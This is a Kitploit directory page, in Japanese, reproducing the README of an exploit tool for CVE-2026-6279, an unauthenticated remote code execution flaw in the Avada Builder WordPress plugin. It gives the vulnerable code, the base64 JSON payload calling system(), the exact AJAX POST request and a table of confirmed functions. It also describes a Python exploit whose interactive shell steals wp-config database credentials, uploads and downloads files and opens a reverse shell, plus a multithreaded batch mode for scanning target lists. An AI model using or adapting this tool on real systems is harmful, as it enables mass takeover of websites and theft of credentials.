Skip to content
KitploitKITPLOIT
ツールブログ
提出
ツールブログ
提出

ハッキング、侵入テスト、サイバーセキュリティツールをあなたのセキュリティアーセナルに!

Kitploitはハッキング、サイバーセキュリティ、ペネトレーションテストのツールディレクトリです。最新のプロジェクトアップデートを見つけて、脆弱性の発見、システム分析、テストの自動化、セキュリティの強化を行いましょう。

··フィード·お問い合わせ·プライバシー·© 2026 Kitploit

ツールディレクトリ

カテゴリ

すべてのカテゴリを見る
Loading categories
CVE-2026-6279 — CVE-2026-6279: Avada (Fusion) Builder <= 3.15.2 – 認証されていないリモートコード実行(PHP関数インジェクション)経由 'render_logics' ショートコード属性経由 Widget AJAX ハンドラー (fusion-builder) | Kitploit
ツール/GitHubGitHub/xxconi/cve-2026-6279
脆弱性分析エクスプロイトウェブアプリケーション悪用ペネトレーションテストコマンド&コントロールレッドチーミングペイロード開発
GitHubxxconi/cve-2026-6279

CVE-2026-6279

CVE-2026-6279: Avada (Fusion) Builder <= 3.15.2 – 認証されていないリモートコード実行(PHP関数インジェクション)経由 'render_logics' ショートコード属性経由 Widget AJAX ハンドラー (fusion-builder)

リポジトリを見る
173ヶ月前未レビュー

人気

すべて見る →

コミュニティで最も使われているツールを見つけましょう。

すべてのツールを探索

ツールコレクションを閲覧

すべてのツールを見る →
共有
╔══════════════════════════════════════════════════════════════╗ ║ CVE-2026-6279 · Avada Builder <= 3.15.2 ║ ║ Unauthenticated RCE via call_user_func() ║║ ╚══════════════════════════════════════════════════════════════╝ ```

CVE CVSS Auth Plugin Installs Python


📋 概要

フィールド詳細
CVE IDCVE-2026-6279
影響を受けるAvada Builder (Fusion Builder) <= 3.15.2
テーマWordPress Avada Theme
アクティブインストール900,000+
脆弱性の種類PHP Function Injection → Unauthenticated RCE
CVSS v3.19.8 (Critical)
ベクトルCVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H
認証❌ 不要
ユーザーインタラクション❌ 不要
研究者xxcoin
公開日2026-05-24

🔗 攻撃チェーン

root@kitploit:~
┌─────────────────────────────────────────────────────────────────┐
│                                                                 │
│  1. NONCE検出                                                   │
│     wp_create_nonce('fusion_load_nonce') → UID 0               │
│     [fusion_post_cards] または [fusion_table_of_contents]      │
│     ショートコードを含む公開ページのJSに埋め込まれる            │
│                          │                                      │
│                          ▼                                      │
│  2. 未認証Ajax                                                  │
│     wp_ajax_nopriv_fusion_get_widget_markup                     │
│     check_ajax_referer() → nonceの有効性のみ確認               │
│     ユーザー認証は行われない                                    │
│                          │                                      │
│                          ▼                                      │
│  3. デシリアライゼーション                                      │
│     base64_decode(render_logics) → json_decode()               │
│     構造検証なし — 攻撃者制御下のJSON                           │
│                          │                                      │
│                          ▼                                      │
│  4. call_user_func() — 許可リストなし                           │
│     get_value() → wp_conditional_tags case                     │
│     call_user_func($value['function'], $value['args'])         │
│     任意のPHP関数を呼び出し可能                                 │
│                          │                                      │
│                          ▼                                      │
│  5. RCE ✓                                                       │
│     system("id") → uid=1000(xxcoin)                         │
│     Webサーバー権限で完全なコマンド実行                         │
│                                                                 │
└─────────────────────────────────────────────────────────────────┘

🧬 技術詳細

脆弱性ポイント

class-fusion-builder-conditional-render-helper.php — L1531:

root@kitploit:~
// 脆弱なコード
case 'wp_conditional_tags':
    $decoded = json_decode( base64_decode( $render_logics ), true );
    // ❌ 許可リストのチェックなし
    return call_user_func( $decoded['function'], $decoded['args'] );

ペイロード構造

root@kitploit:~
{
  "type": "wp_conditional_tags",
  "value": {
    "function": "system",
    "args": "id"
  }
}

Base64エンコードされ、render_logics POSTフィールドとして送信されます。

HTTPリクエスト

root@kitploit:~
POST /wp-admin/admin-ajax.php HTTP/1.1
Host: target.com
Content-Type: application/x-www-form-urlencoded
X-Requested-With: XMLHttpRequest

action=fusion_get_widget_markup
fusion_load_nonce=<nonce>
render_logics=<base64_payload>
widget_type=WP_Widget_Recent_Posts
type=WP_Widget_Recent_Posts
widget_id=2
number=2

✅ 確認されたRCE関数

関数引数結果ステータス
system()iduid=1000(xenon1337)✅ 成功
passthru()iduid=1000(xenon1337)✅ 成功
shell_exec()iduid=1000(xenon1337)✅ 成功
exec()iduid=1000(xenon1337)✅ 成功
file_get_contents()/etc/passwdroot:x:0:0:...✅ 成功
proc_open()——❌ 2つ以上の引数が必要
popen()——❌ 2つ以上の引数が必要

注: call_user_func($fn, $arg) は性質上、1つの引数のみを受け付けます。 proc_open、popen など2つ以上の引数を必要とする関数は、この脆弱性を経由して起動できません。


🔑 Nonceがバイパス可能な理由

root@kitploit:~
1. Avadaは fusion_load_nonce をUID 0(公開ユーザー)で生成する
2. [fusion_post_cards] または [fusion_table_of_contents] ショートコードを
   含むページでは、nonceがJS出力に埋め込まれる → 誰でも見ることができる
3. check_ajax_referer('fusion_load_nonce') はnonceの有効性のみを確認し、
   ユーザーの身元は検証しない
4. 結果: 任意の訪問者がnonceを取得し、エンドポイントを呼び出せる

📁 ソースコード参照

ファイル行関数説明
class-fusion-builder-conditional-render-helper.phpL1083should_render()render_logicsのデシリアライゼーション
class-fusion-builder-conditional-render-helper.phpL1531get_value()⚠️ call_user_func() — 許可リストなし
fusion-widget.phpL44—render_logicsの接続
fusion-widget.phpL389—wp_ajax_nopriv AJAXハンドラの登録
class-fusion-builder.phpL7551—UID 0用の決定論的nonce登録

🚀 インストールと使い方

必要条件

root@kitploit:~
pip install requests packaging

使い方

root@kitploit:~
# メニューモード(単体+バッチ)
python3 CVE-2026-6279.py

# プロトコルなし(自動検出)
python3 CVE-2026-6279.py target.com

# プロトコル付き
python3 CVE-2026-6279.py http://target.com
python3 CVE-2026-6279.py https://target.com

# ポート指定
python3 CVE-2026-6279.py target.com:8080
python3 CVE-2026-6279.py http://target.com:8080

メニュー

root@kitploit:~
♡ [1]  単体ターゲット  ·  対話型シェル
◆ [2]  バッチスキャン  ·  ファイルエクスプロイト
✗ [3]  終了

対話型シェルコマンド

root@kitploit:~
shell> id                          # コマンド実行
shell> cd /var/www/html            # ディレクトリ変更
shell> upload local.php /tmp/x.php # ファイルアップロード
shell> download /etc/passwd        # ファイルダウンロード
shell> wp-config                   # DB情報取得
shell> recon                       # システムスキャン
shell> revshell 10.0.0.1 4444      # リバースシェル
shell> exit                        # 終了

バッチスキャン

root@kitploit:~
# targets.txt の形式:
target1.com
http://target2.com
https://target3.com:8080
# コメント行(スキップされます)
root@kitploit:~
♡ ターゲットファイル [targets.txt]:
♡ スレッド数 [10]: 30
♡ コマンド [id]:
♡ 出力ファイル [vuln.txt]:

🖥️ PoC出力

root@kitploit:~
╔══════════════════════════════════════════════════════════════╗
║  CVE-2026-6279  ·  Avada Builder <= 3.15.2                  ║
║  Unauthenticated RCE via call_user_func()                    ║
║  Copyright © 2026 xxcoin  ·  感謝: xxcoin 💜 ║
╚══════════════════════════════════════════════════════════════╝

★ Avada検出! (http://localhost:8888)
★ nonce: b6d7b084c2  (src: /blog/)  [shortcode✓]
★ AJAX: http://localhost:8888/wp-admin/admin-ajax.php
★ RCE: system() [B] [WP_Widget_Recent_Posts]
  • uid=1000(xxcoin) gid=1000(xxcoin) groups=1000

shell> uname -a
  • Linux debian 6.1.0-21-amd64 #1 SMP x86_64 GNU/Linux
shell> wp-config
  • DB_NAME=wordpress
  • DB_USER=wp_user
  • DB_PASSWORD=s3cr3t_p4ss!
  • DB_HOST=localhost

📊 CVSS v3.1

メトリック値
Attack VectorNetwork
Attack ComplexityLow
Privileges RequiredNone
User InteractionNone
ScopeUnchanged
ConfidentialityHigh
IntegrityHigh
AvailabilityHigh
総合スコア9.8 — CRITICAL
root@kitploit:~
CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H

⚠️ 法的免責事項

このツールは許可されたセキュリティテストおよび教育目的のみに使用されます。無許可のシステムへのアクセスは違法です。すべての責任はユーザーにあります。


telegram. https://t.me/+-GYq8ydL9AYwZGI8)

CVE-2026-6279 · Avada Builder <= 3.15.2 · xxcoin · 2026

Special Thanks: Shadow Girlfriend 💜

ツールをダウンロード